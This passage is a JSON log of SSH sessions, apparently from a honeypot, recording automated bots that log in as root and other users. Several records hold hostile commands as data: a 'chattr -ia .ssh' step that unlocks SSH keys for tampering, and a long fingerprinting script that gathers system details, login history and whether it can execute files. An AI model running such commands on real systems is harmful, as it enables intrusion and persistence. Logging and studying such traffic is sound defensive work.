  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:45:08.459497+00:00",
  "ended_at": "2026-08-27T04:45:09.635564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8712e8ca-65c1-4d9c-a9a6-0f37a32a77e2",
  "name": "sullen-lofty-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 39404,
  "username": "abdullah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:43:27.970027+00:00",
  "ended_at": "2026-08-27T04:43:29.456538+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2185
 },
 {
  "id": "fe58c12f-962e-40fe-bca5-55eac4989b2c",
  "name": "placid-lonesome-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 45992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:43:26.539546+00:00",
  "ended_at": "2026-08-27T04:43:26.745904+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "babf98e3-834d-47ed-947e-b9743ece6d85",
  "name": "balmy-tawny-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39420,
  "username": "abdullah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:43:13.147281+00:00",
  "ended_at": "2026-08-27T04:43:13.923012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "841b9f89-ebb8-41fc-b349-cfdda73a49de",
  "name": "somber-supple-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39406,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:43:11.472692+00:00",
  "ended_at": "2026-08-27T04:43:12.528008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce2cbbb4-72fd-470e-8f3d-299ad9602594",
  "name": "dapper-ancient-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 43020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:41:27.031150+00:00",
  "ended_at": "2026-08-27T04:41:27.143015+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ae3bef40-401d-4101-a77c-049085b2d196",
  "name": "emerald-shifting-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:41:26.191133+00:00",
  "ended_at": "2026-08-27T04:41:27.762207+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "3ef78400-00ee-4b01-8cf7-be386bacbc88",
  "name": "emerald-fabled-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49010,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:41:10.304314+00:00",
  "ended_at": "2026-08-27T04:41:11.718935+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35c6b306-f7e1-4e1c-bdd1-c75df11cb2e9",
  "name": "zealous-northern-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48996,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:41:07.876593+00:00",
  "ended_at": "2026-08-27T04:41:09.689554+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17c42d62-88e2-4d36-8230-abac266f69db",
  "name": "wandering-woven-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 40090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:39:28.484127+00:00",
  "ended_at": "2026-08-27T04:39:28.811010+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2de09614-ad33-4341-acc9-e9c28fc203dc",
  "name": "autumn-courtly-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 54804,
  "username": "gourav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:39:25.454106+00:00",
  "ended_at": "2026-08-27T04:39:26.513841+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2163
 },
 {
  "id": "6756b29e-0782-4700-90b6-59a9effde601",
  "name": "hazel-coastal-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50486,
  "username": "gourav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:39:09.462197+00:00",
  "ended_at": "2026-08-27T04:39:11.204858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50c01bc8-1b03-45a4-85e4-c4b336168929",
  "name": "hazel-clever-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50470,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:39:07.646781+00:00",
  "ended_at": "2026-08-27T04:39:08.825353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d6f04ec6-87c0-42c7-b14e-1da8f0aa42a8",
  "name": "thawing-murky-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 37132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:37:26.206550+00:00",
  "ended_at": "2026-08-27T04:37:26.883742+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "402eea8c-7073-41a2-912e-007c524242f6",
  "name": "orderly-thawing-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 56234,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:37:20.979229+00:00",
  "ended_at": "2026-08-27T04:37:22.242100+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2155
 },
 {
  "id": "9530df26-e96a-4887-9ffc-af88261193df",
  "name": "keen-shifting-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 37544,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:37:09.828101+00:00",
  "ended_at": "2026-08-27T04:38:08.541729+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "293507cc-d3d3-4064-9ea1-249f1ff38646",
  "name": "fringed-vigilant-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 36824,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:37:07.226479+00:00",
  "ended_at": "2026-08-27T04:37:08.312005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c6cffdd-a3da-444a-9992-3b9b37d9df1d",
  "name": "ancient-mighty-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 35808,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:37:05.363704+00:00",
  "ended_at": "2026-08-27T04:41:05.888520+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "00d24c69-5f2e-4537-96bf-e8f0ea47c45c",
  "name": "frosty-feral-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 56260,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:37:04.504215+00:00",
  "ended_at": "2026-08-27T04:37:06.374030+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53c1a44a-2258-40b2-ba26-a987f4d69816",
  "name": "thawing-faded-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 56246,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:37:02.398473+00:00",
  "ended_at": "2026-08-27T04:37:03.879166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65f25afb-20da-49ca-9d88-9c5979da70a8",
  "name": "brave-cunning-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 34176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 